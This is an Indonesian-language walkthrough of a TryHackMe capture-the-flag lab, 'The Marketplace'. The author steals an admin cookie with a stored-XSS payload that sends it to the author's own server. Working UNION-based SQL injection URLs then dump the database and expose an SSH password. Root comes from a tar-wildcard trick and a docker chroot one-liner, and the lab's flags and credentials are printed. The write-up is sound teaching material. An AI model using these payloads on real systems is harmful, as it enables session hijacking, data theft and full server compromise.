The sysadmin of The Marketplace, Michael, has given you access to an internal server of his, so you can pentest the marketplace platform he and his team has been working on. He said it still has a few bugs he and his team need to iron out.
Can you take advantage of this and will you be able to gain root access on his server?
jadi di labs Tryhackme ini tuh memiliki tingkatan Medium, dan dilihat dari tags nya yaitu, web,xss,docker,sqli yg merupakan clue untuk menyelesaikan labs kali ini yaitu jenis bug yg ada di labs kali ini. dan juga kita wajib mendapatkan 3 flags agar bisa menyelesaikan labs nya
ok labs sudah jalan dan kita sudah tahu ip address dari target nya
langkah awal yaitu kita cek dulu port apa saja yg terbuka di mesin tersebut menggunakan nmap
nmap -A 10.10.70.229
hasilnya bisa dilihat bahw aada 3 port yg aktif yaitu ssh di port 22, lalu 2 buah port http yg aktif yaitu di port 80 dan 32768 dan jika perhatikan di http-title nya sih kek nya sama isi dari website. lalu ada http http-robots.txt juga yg berisi endpoint /admin
selanjutya kita coba akses website yg di port 80 dan 32768 yang jika diperhatikan memang tampak mirip sih. jadi mungkin kita bisa fokus ke website yg ada di port 80 terlebih dahulu saja.
kita bisa coba bikin akun terlebih dahulu dengan credentials user:user terlebih dahulu
setelah selesei signup. kita bisa coba login terlebih dahulu dengan credential yg telah dibuat tadi
setelah login. bisa kita lihat ada 2 fitur yg bisa digunakan yaitu New Listing dan Messages
kita coba cek dulu New Listing dan message nya. untuk new listing tuh kemungkinan kita bisa nambah barang yg akan dijual, lalu ditampilkan ke halaman utama website nya, sedangkan untuk message tuh saya blom tahu karena tampilan nya masih kosong, jadi kita coba explore new listing terlebih dahulu
kalau kita lihat fitur yg di New Listing, ada 2 form dan 1 fitur file upload yg sayangnya tidak aktif, pdhl kalau aktif tuh kita bisa coba reverse shell pake bug insecure file upload. kita coba tambahkan payload xss di form title untuk mengecek apakah xss nya berhasil di eksekusi atau engga
berikut kode yg akan digunakan:
<script>alert(1)</script>
maka hasilnya akan seperti ini
selanjutya kita coba klik tombol Submit Query dan lihat hasilnya yg akan menampilkan pop up dengan angka 1, yg artinya kode javascript tadi sudah berhasil di eksekusi
pada saat di klik OK yg di pop tadi. kita diarahkan ke barang yg tadi kita buat. dan ada 2 pilihan yaitu Contact the listing author dan Report listing to admins, yg pasti berhubungan dengan menu Messages tadi. untuk pilihan pertama sih udh ketebak kalau kita tuh mau kirim pesan ke si pemilik barang tadi yaitu kita sendiri, jadi saya skip untuk pilihan pertama. nah untuk pilihan ke dua ini tuh kita bkln ngelaporin barang yg kita buat tadi ke admin.
nah jadi pada saat saya klik. maka akan tampil notifikasi yg intinya tuh sang admin bkln ngecek produk yg kita bikin tadi. nah karena kita tahu bahwa sang admin bkln ngecek barang yg di report tadi. kita bisa ambil cookie admin nya dengan memanfaatkan bug xss tadi
kita coba cek menu Messages, dan kita lihat ada message baru yg berasal dari system, intinya karyawan disana tidak bisa melukan review terhadap produk yg kita report tadi karena adanya pop up alert tadi, karena browser yg mereka gunakan tuh otomatis ngeblokir pop up.
nah karena pop up tuh tidak diperbolehkan. kita coba kasih payload yg tidak ada pop up sama sekali dan akan langsung mengambil cookie admin nya lalu mengirim cookie tersebut ke server kita. berikut kode yg akan digunakan:
<script>var i=new Image;i.src="http://10.14.56.180:80/?"+document.cookie;</script>
jgn lupa aktifkan http server nya menggunakan python
selanjutnya kita ke menu new listing tadi. dan masukan payload yg telah dibuat ke form Title lalu klik Tombol Submit Query
jika kita lihat di http server yg telah dibuat tadi. maka ada request baru. yg menampilkan cookie milik kita sendiri, karena kita otomatis diarahkan dan melihat terlebih dahulu produk yg dibuat tadi.
karena payload tadi sudah berhasil mendapatkan cookie milik kita sendiri. sudah saatnya kita coba ambil cookie milik admin dengan cara klik fitur Report listing to admins lalu klik Report
hasilnya kita mendapatkan request terbaru yg menandakan bahwa admin nya tuh sudah mengecek produk yg kita buat tadi.
selanjutnya kita gunakan cookie dari si admin tadi agar kita bisa login menggunakan akun admin. disini saya pake add ons cookie manager dari firefox agar bisa mengubah cookie yg saat ini digunakan
setelah kita refresh website nya. maka kita bisa melihat ada menu baru yaitu administration panel
pada saat di klik menu Administration panel, kita sudah mendapatkan flag yg pertama yaitu THM{c37a63895910e478f28669b048c348d5}
note: ip mesin nya udh berubah karena tadi ditinggal makan dulu:v
ok langkah selanjutnya kita cari bug sql injection nya. awalnya tuh saya kira bug sql nya ada di login page, eh ternyata adanya tuh di administraton panel seperti gambar diatas. jadi saya coba klik user system yg ada di kotak pertama. trus akan di redirect ke http://10.10.20.121/admin?user=1
dan tampilan nya seperti ini
nah coba tambahkan kan single quote di parameter user yg di url tadi seperti ini http://10.10.20.121/admin?user=1'
maka hasilnya akan menampilkan error dari mysql
ok selanjutnya kita akan gunakan query ORDER BY untuk mencari tahu ada berapa kolom dari tabel yg digunakan oleh website nya. untuk penggunaan query ORDER BY nya tuh cukup seperti ini
http://10.10.20.121/admin?user=1 ORDER BY 1
tampilan website nya masih normal
http://10.10.20.121/admin?user=1 ORDER BY 2
tampilan website nya masih normal
http://10.10.20.121/admin?user=1 ORDER BY 3
tampilan website nya masih normal
http://10.10.20.121/admin?user=1 ORDER BY 4
tampilan website nya masih normal
http://10.10.20.121/admin?user=1 ORDER BY 5
tampilan website nya error
nah pada saat pake query ORDER BY 5, tampilan website nya error dikarenakana column ke 5 itu gada. itu berarti kolom nya tuh sebenenya berjumlah 4
karena kita udh tahu jumlah kolom yg ada tuh ada 4. kita lanjut untuk mencari kolom yg akan di render di sisi front end nya, biasanya saya sebut itu magic number. nah kita bisa gunakan query UNION SELECT untuk mencari magic number nya.
ubah url nya jadi seperti ini
http://10.10.20.121/admin?user=1 UNION SELECT 1,2,3,4
nah harusnya tuh dari kolom 1-4 yg saya isi dengan angka 1,2,3,4 bkln ke render di sisi front end nya. tapi anehnya tuh malah gk render dan website nya normal2 aja kayak gini
nah awalnya tuh saya mau pake metode blind sql injection dikarenakan tidak ada magic number yg ke render di sisi front end. tetapi saya tidak jadi pake blind sql injection karena magic number nya sudah ke render di sisi front end pas saya ubah value parameter user nya yg awalnya 1 menjadi 5, karena total id nya tuh di administration panel cuman ada 4 aja.
ok jadi kolom 2 tuh yg akan di render di sisi front end, sekarang kita bisa masukan perintah sql di dalam kolom 2 pake union select. contoh nya saya pengen user mysql yg digunakan saat ini, berarti saya ubah url nya jadi seperti ini
http://10.10.20.121/admin?user=5 UNION SELECT 1,user(),3,4
maka hasilnya yaitu user mysql yg digunakan saat ini tuh marketplace
nah awalnya tuh saya mau coba eskalasi ke RCE dengan cara memanggil function child_process karena back end yg digunakan tuh express js. tetapi user sql yg kita gunakan saat ini tuh tidak memiliki priveleges untuk melakukan upload file
berikut url yg diubah
http://10.10.20.121/admin?user=5 UNION SELECT 1,"require('child_process').exec('cat+/etc/passwd'),3,4 INTO OUTFILE '/var/www/html/inirce.js'
maka hasilnya akan seperti ini
awalnya saya bingung untuk memikirkan cara agar bisa dpt RCE lewat sql injection, soalnya user marketplace tuh gada priveleges buat upload file di sql. trus kalau dptn password dari user lain seperti jake,michael,system di database nya pasti udh di hash. jadi kita coba enumerasi database nya saja, siapa tau ada informasi penting yg tersembunyi
langkah pertama kita cari tahu nama database nya dengan cara memanggil function database(). maka url nya akan seperti ini
http://10.10.20.121/admin?user=5 UNION SELECT 1,database(),3,4
maka hasilnya adalah nama database yg digunakan saat ini yaitu marketplace
selanjutnya kita coba cari tahu table apa saja yg ada di dalam database marketplace, kita bisa memanfaatkan INFORMATION SCHEMA, jadi Information Schema adalah sebuah basis data khusus yang disediakan oleh MySQL yang berisi metadata tentang semua objek yang ada dalam sistem basis data. Informasi yang terkandung dalam Information Schema mencakup informasi tentang basis data, tabel, kolom, indeks, constraint, rutin, priviledge pengguna, dan banyak lagi. untuk url nya akan diubah seperti ini:
http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace'
maka hasilnya akan seperti di gambar ini. tetapi ini diluar ekspetasi saya karena yg di render tuh cuman 1 tabel saja:(
kita udh tahu nih tables yg pertama tuh isinya items, trus untuk melihat tables yg lain nya tuh kita bisa memanfaatkan query LIMIT, jadi nya kalau mau lihat table yg pertama tuh bisa kayak gini LIMIT 0,1
Angka 0 menunjukkan offset, yaitu jumlah tabel yang akan dilewati sebelum mendapatkan tabel ke-1. Angka 1 menunjukkan batasan, yaitu jumlah tabel yang akan ditampilkan (hanya satu tabel dalam kasus ini).
jadi untuk melihat table yg kedua bisa kayak gini LIMIT 1,1
dan untuk table selanjutnya juga sama, tinggal ubah angka offset nya saja
berikut url yg diubah:
http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 0, 1
nama tables : items
http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 1, 1
nama tables: messages
http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 2, 1
nama tables: users
http://10.10.20.121/admin?user=5 UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='marketplace' LIMIT 3, 1
error
ok kita udh tahu nih ada 3 table yg di database marketplace, selanjutnya kita cari tahu semua columns yg ada di semua tables tadi agar kita bisa melakukan dump data nya. cara nya masih sama yaitu pake INFORMATION_SCHEMA
bedanya tuh kalau mau nyari table kan pake INFORMATION_SCHEMA.TABLES
sedangkan kalau mau nyari column tuh pake INFORMATION_SCHEMA.COLUMNS
mungkin saya akan kasih contoh untuk melihat columns yg dimiliki dari tables items. berikut url yg diubah
http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 0, 1
nama columns dari table items: id
http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 1, 1
nama columns dari table items: author
http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 2, 1
nama columns dari table items: title
http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 3, 1
nama columns dari table items: description
http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 4, 1
nama columns dari table items: image
http://10.10.20.121/admin?user=5 UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' LIMIT 5, 1
Website error
ok jadi hasil enumerasi semua column dan table dari database marketplace tuh bisa dilihat dibawah sini
------------
items
------------
id
author
title
description
image
-------------
message
-------------
id
user_from
user_to
message_content
is_read
--------------
users
--------------
id
username
password
isAdministrator
karena kita sudah dpt semua informasi yg dibutuhkan seperti nama database,table,columns maka langkah selanjutnya kita coba dump data nya. kita coba lihat isi dari column message_content karena saya saya lebih tertarik dengan isi pesan apa saja yg ada di tiap user.
berikut url yg diubah:
http://10.10.20.121/admin?user=5 UNION SELECT 1,message_content,3,4 FROM marketplace.messages LIMIT 0,1
hasilnya yaitu saya dpt informasi terkait password SSH yg baru yaitu @b_ENXkGYUCAv3zJ
. nah tapi saya gatau nih username dari password tadi, jadi langkah selanjutnya tuh kita harus cari tahu pesan yg tadi tuh dikirim ke siapa
karena saya pengen tahu pesan tadi tuh dikirim ke siapa, maka saya bkln cek column user_to trus pake LIMIT 0,1 untuk melihat ofset yg pertama.
berikut url yg diubah:
http://10.10.20.121/admin?user=5 UNION SELECT 1,user_to,3,4 FROM marketplace.messages LIMIT 0,1
lalu hasilnya menampilkan angka 3 saja. kemungkinan itu adalah ID user nya
Jika kita cek ulang Administation panel nya. maka ID user 3 tuh dimiliki oleh jake. jadi kesimpulan nya kita bisa pake credential jake:@b_ENXkGYUCAv3zJ
untuk melakukan koneksi ke SSH
pada saat dicoba. credential tadi memang valid dan hasilnya saya bisa login ke server nya
lalu saya menemukan user.txt yg isinya tuh sudah pasti flag kedua kita yaitu THM{c3648ee7af1369676e3e4b15da6dc0b4}
langkah selanjutnya tuh kita cari flag yg terakhir dengan cara privileges escalation lagi. seperti biasa kita coba pake perintah sudo -l untuk melihat perintah apa saja yg bisa digunakan sebagai sudo
dan hasilnya user jake tuh bisa memakai command sudo di /opt/backups/backup.sh
pada saat di cek isi dari backup.sh, isinya tuh perintah untuk melakukan backup menggunakan tar dan ada wildcard nya *
saya mendapatkan referensi terkait cara memanfaatkan wildcard yaitu dari payloadallthethings jadi untuk langkah2 nya bisa dilihat di gambar ini
kita sudah masuk ke akun michael. selanjutnya kita coba eskalasi ke akun root. dan kita juga udh tahu bahwa ada docker di dalam mesin ini, jadi saya coba cek image yg ada di docker nya dengan cara seperti ini
karena ada image alpine, jadi saya bisa mengikuti referensi dari GTFObins terkait privelege escalation docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
maka hasilnya akan seperti ini
dan akhirnya kita mendapatkan flag root.txt di dalam direktori root THM{d4f76179c80c0dcf46e0f8e43c9abd62}
Kesimpulan
jadi di labs ini tuh kita belajar cara mendapatkan cookie milik admin dengan memanfaatkan XSS, lalu mendapatkan informasi sensitive dengan sql injection, dan terakhir privelege escalation dengan cara memanfaatkan tar wildcard dan docker